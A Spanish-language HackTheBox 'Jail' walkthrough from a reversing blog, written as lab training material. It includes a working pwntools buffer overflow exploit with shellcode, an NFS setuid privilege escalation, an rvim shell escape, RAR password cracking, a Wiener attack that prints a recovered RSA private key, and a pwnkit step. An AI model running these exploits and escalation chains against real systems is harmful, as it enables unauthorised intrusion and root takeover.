xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Jail



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.10.34
Nmap scan report for 10.10.10.34  
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
7411/tcp  open  daqstream
20048/tcp open  mountd

En la página principal nos encontramos un ascii art que hace referencia al nombre

Para encontrar directorios en la web podemos aplicar fuerza bruta usando wfuzz, despues de unos minutos un directorio devuelve otro codigo de estado, jailuser

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.34/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.34/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000137562:   301        7 L      20 W       233 Ch      "jailuser"

Al entrar a jailuser encontramos un directory listing con solo un directorio que es dev, este contiene un codigo en c, un script para compilarlo y el binario compilado


Shell - nobody


Aunque el archivo jail.c nos proporciona el código fuente utilizaremos ida para desensamblar el binario ya que generalmente este no se tiene disponible, la función main inicia llamando a socket para crear un nuevo socket, luego a setsockotp para establecer una opción de socket, todo esto controlando posibles excepciones

En el siguiente bloque se llama a htons para darle el formato correcto al valor 7411 que es un puerto, luego llama a bind y listen para esperar una conexión en él

Podemos comprobarlo, después de ejecutar el binario podemos conectarnos con netcat a ese puerto donde se nos piden credenciales, pero no las conocemos

❯ netcat localhost 7411
OK Ready. Send USER command.  
USER username
OK Send PASS command.
PASS password
ERR Authentication failed.

Después mediante un bucle recibe conexiones entrantes utilizando accept y con fork se crea un nuevo proceso hijo para cada conexión, si se crea correctamente llama a la función handle pasando como argumento el nuevo descriptor

La función handle inicia reservando memoria y llamando a dup2(s,1) y dup2(s, 2), esto para redirigir el stdout y stderr al descriptor del socket del cliente

Luego lee 0x400 o 1024 bytes con read, después utiliza strtok para dividir los datos leidos, en el siguiente bloque compara que el valor del comando recibido no sea 0, si no es 0 comprueba si ya se ha recibido un usuario anteriormente

Si aun no se ha recibido un usuario compara los primeros 5 bytes del comando con USER , si no son iguales lo compara con PASS , si nuevamente no son iguales lo compara con DEBUG , esto se puede interpretar como el controlador para saber que hacer de acuerdo al comando recibido de acuerdo con los disponibles

En el caso de que los primeros 5 bytes sean iguales a USER se copian los bytes a una variable que llamamos username y se compara si password ya tiene un valor, si aun no lo tiene se muestra un mensaje con puts solicitnadolo y vuelve al bucle

Si los primeros 5 bytes son iguales a PASS copia el valor a una variable llamada password, luego compara si el campo username tiene un valor si no lo tiene vuelve al bucle después del mensaje que solicita este valor mostrado con la función puts

En el caso de que los 5 bytes sean iguales a DEBUG mueve un 1 o un 0 a la variable debugmode, asi que si esta desactivado lo activa y si esta activo lo desactiva

Si los campos username y password ya cuentan con un valor llama a la función auth pasandole ambos como argumentos por lo que deberia comprobar credenciales

La función auth inicia comprobando si debugmode esta activado, si es asi utiliza printf para enviar un mensaje al socket que muestra la dirección de la variable dest, si debugmode no esta habilitado evita todo lo anterior y salta al siguiente bloque que compara la variable username con la string admin y hace un salto condicional

Si el usuario es admin copia la variable password a un buffer en ebp - 24 utilizando strcpy y compara la variable dest con la string 1974jailbreak!, si alguno de los 2 valores es incorrecto muestra un mensaje y devuelve 0, si son iguales devuelve 1

Si nos autenticamos correctamente nos pide un comando sin embargo no parece tener mucha utilidad, aunque esto es irrelevante ya que si analizamos el ultimo bloque al utilizar strcpy mueve la contraseña a ebp - 24 por lo que si enviamos mas bytes deberiamos ocasionar un buffer overflow sobrescribiendo otros datos

❯ netcat localhost 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
OK Authentication success. Send command.  
HELP
ERR Invalid command.

Mirando las protecciones del binario con checksec vemos que no tiene ninguna

❯ checksec jail
[*] '/home/user/jail'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)  
    RWX:      Has RWX segments

Para comprobar la vulnerabilidad solo iniciamos corriendo el programa en gdb

❯ gdb -q jail
Reading symbols from jail...
(No debugging symbols found in jail)
pwndbg> run
Starting program: /home/user/jail
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  

El buffer vulnerable inicia en ebp - 24, para comprobarlo lo llenaremos con 24 A's, luego 4 B's que deberian sobreescribir el valor de ebp y 4 C's para el retorno

#!/usr/bin/pỳthon3
from pwn import remote

payload  = b""
payload += b"A" * 24
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 16

shell = remote("10.10.10.34", 7411)
shell.sendlineafter(b"command.\n", b"USER admin")
shell.sendlineafter(b"command.\n", b"PASS " + payload)  

Al enviar el exploit comprobamos lo anterior, en ebp se guardan las B's y el valor de retorno son las C's, además las D's se quedan almacenadas en el stack, como conclusión tenemos que el offset para el puntero de retorno es de 28 bytes

pwndbg> run
Starting program: /home/user/jail
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  

Thread 2.1 "jail" received signal SIGSEGV, Segmentation fault.
[Cambiando a Thread 0xf7fc24c0 (LWP 27556)]
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/4wx $esp
0xffffcd80:	0x44444444	0x44444444	0x44444444	0x44444444
pwndbg>

Necesitamos conocer la dirección del shellcode para apuntar a el en el retorno, para ello podemos habilitar la función DEBUG antes reverseada que en caso de estar habilitada mostraba la dirección de la variable de destino, escribimos esto en python

#!/usr/bin/pỳthon3
from pwn import remote, log

offset = 28
junk = b"A" * offset

ret = b"B" * 4
stack = b"C" * 16

payload = junk + ret + stack

shell = remote("127.0.0.1", 7411)

shell.sendlineafter(b"command.\n", b"DEBUG")
shell.sendlineafter(b"mode on.\n", b"USER admin")
shell.sendlineafter(b"command.\n", b"PASS " + payload)    

shell.recvuntil(b"buffer @ ")
leak_addr = int(shell.recvline().strip().decode(), 16)

log.info(f"Leak addr: {hex(leak_addr)}")

Al ejecutar el script envia el payload y nos muestra la direccion 0xffffcf30

❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 7411: Done  
[*] Leak addr: 0xffffcf30
[*] Closed connection to 127.0.0.1 port 7411

Volviendo a gdb el programa corrompe y si miramos lo que hay en esa direccion, es la direccion donde inicia nuestro input donde estan las A's, B's y C's

pwndbg> run
Starting program: /home/user/jail
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".  

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
pwndbg> x/12wx 0xffffcf30
0xffffcf30:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffcf40:	0x41414141	0x41414141	0x41414141	0x42424242
0xffffcf50:	0x43434343	0x43434343	0x43434343	0x43434343
pwndbg>

Enviamos 28 A's de basura y 4 B's para sobreescribir el puntero por lo que la direccion donde inician las C's deberia estar 32 bytes mas adelante del leak

pwndbg> p/x 0xffffcf30 + 32
$1 = 0xffffcf50
pwndbg> x/4wx 0xffffcf50
0xffffcf50:     0x43434343      0x43434343      0x43434343      0x43434343  
pwndbg>

Si cambiamos el host y corremos el exploit contra la máquina victima nos muestra la direccion 0xffffd610 que si le sumamos 32 o 0x20 nos da 0xffffd630, esta es la direccion donde se guardaran las C's cuando ejecutemos el exploit en remoto

❯ python3 exploit.py
[+] Opening connection to 10.10.10.34 on port 7411: Done  
[*] Leak addr: 0xffffd610
[*] Closed connection to 10.10.10.34 port 7411

pwndbg> p/x 0xffffd610 + 32  
$2 = 0xffffd630
pwndbg>

El tipo de shellcode que generalmente usariamos en este tipo de exploits simplemente llama a la función a execve para ejecutar el comando /bin/sh

global _start

_start:
    push 0xb         ; execve()
    pop eax          ; $eax = execve()

    push 0x68        ; "h"
    push word 0x732f ; "/s"
    push 0x6e69622f  ; "/bin"
    mov ebx, esp     ; $ebx = "/bin/sh"  

    xor ecx, ecx     ; $ecx = NULL
    cdq              ; $edx = NULL

    int 0x80         ; syscall

❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode

❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s  
\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80

Sin embargo al usar shellcode no vemos ninguna clase de salida del comando

❯ python3 exploit.py
[+] Opening connection to 10.10.10.34 on port 7411: Done  
[*] Switching to interactive mode
$ id
$

La solución es simple, usar dup2(2,0) para redirigir el stdin al descriptor del socket

global _start

_start:
    push 0x2         ; 2
    pop ebx          ; $ebx = 2
    xor ecx, ecx     ; $ecx = 0

    push 0x3f        ; dup2()
    pop eax          ; $eax = dup2()
    int 0x80         ; syscall

    push 0xb         ; execve()
    pop eax          ; $eax = execve()

    push 0x68        ; "h"
    push word 0x732f ; "/s"
    push 0x6e69622f  ; "/bin"
    mov ebx, esp     ; $ebx = "/bin/sh"  

    xor ecx, ecx     ; $ecx = NULL
    cdq              ; $edx = NULL

    int 0x80         ; syscall

❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode

❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s  
\x6a\x02\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80

El exploit final enviara basura hasta antes del retorno que apuntara al shellcode del que calculamos su direccion con el leak, al hacerlo intepretarse nos dara una shell

#!/usr/bin/pỳthon3
from pwn import remote, p32

offset = 28
junk = b"A" * offset

addr = p32(0xffffd630)

shellcode = b"\x6a\x02\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"  

payload = junk + addr + shellcode

shell = remote("10.10.10.34", 7411)

shell.sendlineafter(b"command.\n", b"USER admin")
shell.sendlineafter(b"command.\n", b"PASS " + payload)
shell.interactive()

Ejecutamos el exploit remoto y conseguimos una shell como el usuario nobody

❯ python3 exploit.py
[+] Opening connection to 10.10.10.34 on port 7411: Done  
[*] Switching to interactive mode
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
$ hostname -I
10.10.10.34
$

Otra forma de llegar al shellcode si no tuvieramos el leak es usando un gadget que salte al stack, en este caso con ropper encontramos uno que ejecuta un call esp

❯ ropper --file jail --jmp esp  

JMP Instructions
================

0x0804910f: call esp;

1 gadgets found

El exploit final es exactamente igual solo cambiando la direccion por la del gadget

#!/usr/bin/pỳthon3
from pwn import remote, p32

offset = 28
junk = b"A" * offset

callesp = p32(0x0804910f)

shellcode = b"\x6a\x02\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"  

payload = junk + callesp + shellcode

shell = remote("10.10.10.34", 7411)

shell.sendlineafter(b"command.\n", b"USER admin")
shell.sendlineafter(b"command.\n", b"PASS " + payload)

shell.interactive()

Ejecutamos el exploit remoto y conseguimos una shell como el usuario nobody

❯ python3 exploit.py
[+] Opening connection to 10.10.10.34 on port 7411: Done  
[*] Switching to interactive mode
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
$ hostname -I
10.10.10.34
$


Shell - frank


Para tener un prompt mas descriptivo podemos ejecutar una bash y cargar el .bashrc

$ script /dev/null -c bash
$ source /etc/skel/.bashrc
[nobody@localhost /]$ $

El puerto de nfs esta abierto, mirando la configuracion encontramos la flag no_all_squash que indica que si el identificador de mi usuario local user es 1000 en el equipo jail los datos seran del mismo identificador 1000 que es frank

[nobody@localhost /]$ $ cat /etc/exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)  
/opt *(rw,sync,root_squash,no_all_squash)
[nobody@localhost /]$ $

Iniciamos creando una montura en /mnt con el recurso compartido en /var/nfsshare

❯ showmount -e 10.10.10.34
Export list for 10.10.10.34:
/opt          *
/var/nfsshare *

❯ sudo mount 10.10.10.34:/var/nfsshare /mnt  

Debido a la configuracion si escribimos un archivo en /mnt/test este se vera reflejado en el equipo bajo la ruta /var/nfsshare/test con el id 1000 de frank

❯ ls -ld /mnt
drwx-wx--x root user 6 B Mon Jul  3 23:33:56 2017  /mnt  

❯ touch /mnt/test

[nobody@localhost /]$ $ ls -l /var/nfsshare/test
-rw-r--r--. 1 frank frank 0 Nov 28 18:28 /var/nfsshare/test
[nobody@localhost /]$ $

La explotacion es simple, crear un compilado que cambie nuestro uid/gid a 1000 y nos otorgue una shell, copiarlo a la montura y asignarles permisos suid y sgid

#include <stdlib.h>
#include <unistd.h>

int main() {
    setreuid(1000, 1000);
    setregid(1000, 1000);
    system("/bin/bash");
    return 0;
}

❯ gcc -static shell.c -o shell  

❯ cp shell /mnt

❯ chmod ug+s /mnt/shell

Al ejecutarlo desde la shell de nobody y el binario ser suid/sgid del identificador 1000 que en el equipo es frank nos otorga una shell como este y leemos la flag

[nobody@localhost /]$ $ /var/nfsshare/shell
[frank@localhost /]$ $ id
uid=1000(frank) gid=1000(frank) groups=1000(frank)  
[frank@localhost /]$ $ hostname -I
10.10.10.34 
[frank@localhost /]$ $ cat /home/frank/user.txt
feb**************************7cc
[frank@localhost /]$ $

Para obtener una shell mas estable podemos escribir nuestra clave publica como autorizada en el directorio .ssh de frank para asi conectarnos sin usar contraseña

[frank@localhost /]$ $ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHJkHdh26fDO0wZqVbBRvzXh2zSSqUyQG8TyIcPU05yf user@ubuntu" > /home/frank/.ssh/authorized_keys  
[frank@localhost /]$ $

❯ ssh frank@10.10.10.34
[frank@localhost ~]$ id
uid=1000(frank) gid=1000(frank) grupos=1000(frank)  
[frank@localhost ~]$ hostname -I
10.10.10.34 
[frank@localhost ~]$ cat user.txt
feb**************************7cc
[frank@localhost ~]$


Shell - adm


Mirando los privilegios a nivel de sudoers podemos ejecutar como el usuario adm el comando rvim para abrir el archivo jail.c que se comparte en la web

[frank@localhost ~]$ sudo -l
Matching Defaults entries for frank on this host:
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User frank may run the following commands on this host:
    (frank) NOPASSWD: /opt/logreader/logreader.sh
    (adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c  
[frank@localhost ~]$

Aunque en rvim no podemos ejecutar el clasico !/bin/sh como en vim con una busqueda rapida en gtfobins logramos lanzarnos una shell usando python

[frank@localhost ~]$ sudo -u adm rvim /var/www/html/jailuser/dev/jail.c  

:py import pty; pty.spawn("/bin/bash")  
[adm@localhost ~]$ id
uid=3(adm) gid=4(adm) grupos=4(adm) 
[adm@localhost ~]$


Shell - root


En el directorio personal de adm encontramos un directorio .keys que contiene un archivo keys.rar, un archivo de texto note.txt y un directorio oculto .local

[adm@localhost ~]$ ls -la
drwxr-x---.  3 root adm    19 jul  3  2017 .
drwxr-xr-x. 23 root root 4096 nov 28 17:01 ..
drwxr-x---.  3 root adm    52 jul  3  2017 .keys  
[adm@localhost ~]$ cd .keys
[adm@localhost .keys]$ ls -la
drwxr-x---. 3 root adm  52 jul  3  2017 .
drwxr-x---. 3 root adm  19 jul  3  2017 ..
-rw-r-----. 1 root adm 475 jul  3  2017 keys.rar
drwxr-x---. 2 root adm  20 jul  3  2017 .local
-rw-r-----. 1 root adm 154 jul  3  2017 note.txt
[adm@localhost .keys]$

La nota es del administrador, pide a frank que la contraseña para cifrar tenga un formato muy especifico, este es su apellido seguido de 4 digitos y un simbolo

[adm@localhost .keys]$ cat note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.  
[adm@localhost .keys]$

Dentro del directorio .local encontramos un archivo llamado .frank que es ilegible

[adm@localhost .local]$ ls -la
drwxr-x---. 2 root adm  20 jul  3  2017 .
drwxr-x---. 3 root adm  52 jul  3  2017 ..
-rw-r-----. 1 root adm 113 jul  3  2017 .frank
[adm@localhost .local]$ cat .frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!  
[adm@localhost .local]$

Parece un cifrado por sustitución por lo que con quipqiup logramos leer el mensaje, donde nos dice que solo unas pocas personas han escapado vivas de Alcatraz

Investigando con esas palabras clave llegamos a saber de Frank Morris, un criminal que escapón de la prisón de Alcatraz en el año de 1962, tal vez tiene algo que ver

Siguiendo el formato de la nota podemos decir que el apellido es Morris, 4 digitos pueden ser el año que escapo 1962 y para el caracter especial podemos crear un diccionario con crunch que cree todas las combinaciones posibles con ese patron

❯ crunch 11 11 -t Morris1962^ -o wordlist.txt
Crunch will now generate the following amount of data: 396 bytes  
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 33 

crunch: 100% completed generating output

Usando john podemos crear un hash para el rar y usando nuestro diccionario personalizado logramos encontrar la contraseña para decifrarlo que es Morris1962!

❯ rar2john keys.rar > hash

❯ john -w:wordlist.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 128/128 XOP 4x2 AES])
Press 'q' or Ctrl-C to abort, almost any other key for status
Morris1962!      (keys.rar)
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.

Ya con la contraseña podemos descomprimir el archivo usando unrar y obtener asi el unico archivo dentro, este parece ser una clave rsa publica bastante pequeña

❯ unrar e keys.rar

UNRAR 7.00 beta 1 freeware      Copyright (c) 1993-2023 Alexander Roshal

Extracting from keys.rar

Enter password (will not be echoed) for rootauthorizedsshkey.pub: Morris1962!  

Extracting  rootauthorizedsshkey.pub                                  OK
All OK

❯ cat rootauthorizedsshkey.pub
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQYHLL65S3kVbhZ6kJnpf072  
YPH4Clvxj/41tzMVp/O3PCRVkDK/CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//  
DmcIo1pJGKy8LDrwdpsSjVmvSgg39nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6Pd  
D/qlaFM8B87MHZlW1fqe6QKBgQVY7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/w  
Wt2/7A1Xgi5ckTFMG5EXhfv67GfCFE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAx  
I85LArqOGc6QoVPS7jx5h5bK/3Oqm3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFug  
a99GCw==
-----END PUBLIC KEY-----

La clave publica es bastante pequeña por lo que usando RsaCtfTool logramos computar la clave privada que es probable que sea la id_rsa autorizada de root

❯ RsaCtfTool --publickey rootauthorizedsshkey.pub --private --attack wiener --output id_rsa  

[*] Testing key rootauthorizedsshkey.pub.
[*] Performing wiener attack on rootauthorizedsshkey.pub.
 25%|██████████▊                                | 154/612 [36628.83it/s]
[*] Attack success with wiener method !

Results for rootauthorizedsshkey.pub:

Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICOgIBAAKBgQYHLL65S3kVbhZ6kJnpf072YPH4Clvxj/41tzMVp/O3PCRVkDK/
CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//DmcIo1pJGKy8LDrwdpsSjVmvSgg3
9nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6PdD/qlaFM8B87MHZlW1fqe6QKBgQVY
7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/wWt2/7A1Xgi5ckTFMG5EXhfv67GfC
FE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAxI85LArqOGc6QoVPS7jx5h5bK/3Oq
m3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFuga99GCwIgCMdb8cTpq+uOUyIK2Jrg
PNxrCGF8HNhw8qT9jCez3aMCQQHBKGne1ibAwbqvPTd91cBUKfFYYIAY9a6/Iy56
XnGBS35kpKZB7j5dMZxxOwPDowgZr9aGNAzcFAeCaP5jj3DhAkEDb4p9D5gqgSOc
NXdU4KxzvZeBQn3IUyDbJ0J4pniHZzrYq9c6MiT1Z9KHfMkYGozyMd16Qyx4/Isf
bc51aYmHCQIgCMdb8cTpq+uOUyIK2JrgPNxrCGF8HNhw8qT9jCez3aMCIAjHW/HE
6avrjlMiCtia4DzcawhhfBzYcPKk/Ywns92jAkEBZ7eXqfWhxUbK7HsKf9IkmRRi
hxnHNiRzKhXgV4umYdzDsQ6dPPBnzzMWkB7SOE5rxabZzkAinHK3eZ3HsMsC8Q==
-----END RSA PRIVATE KEY-----

Ya con la clave privada de root podemos conectarnos y aunque nos da un error con una busqueda rapida lo solucionamos y ganamos acceso como el usuario root

❯ ssh root@10.10.10.34 -i id_rsa
sign_and_send_pubkey: no mutual signature supported  
root@10.10.10.34's password:

❯ ssh root@10.10.10.34 -i id_rsa -o PubkeyAcceptedKeyTypes=ssh-rsa  
[root@localhost ~]# id
uid=0(root) gid=0(root) grupos=0(root)
[root@localhost ~]# hostname -I
10.10.10.34 
[root@localhost ~]# cat root.txt
c87**************************806
[root@localhost ~]#


Extra - root


Como alternativa cuando buscamos por binarios con privilegios suid podemos ver el ya muy conocido pkexec, con un exploit del pwnkit nos podemos convertir en root

[frank@localhost ~]$ ls -l /usr/bin/pkexec
-rwsr-xr-x. 1 root root 27680 may 25  2017 /usr/bin/pkexec  
[frank@localhost ~]$ python CVE-2021-4034.py 
[+] Creating shared library for exploit code.
[+] Calling execve()
[root@localhost ~]# id
uid=0(root) gid=0(root) grupos=0(root)
[root@localhost ~]# hostname -I
10.10.10.34
[root@localhost ~]# cat /root/root.txt
c87**************************806
[root@localhost ~]#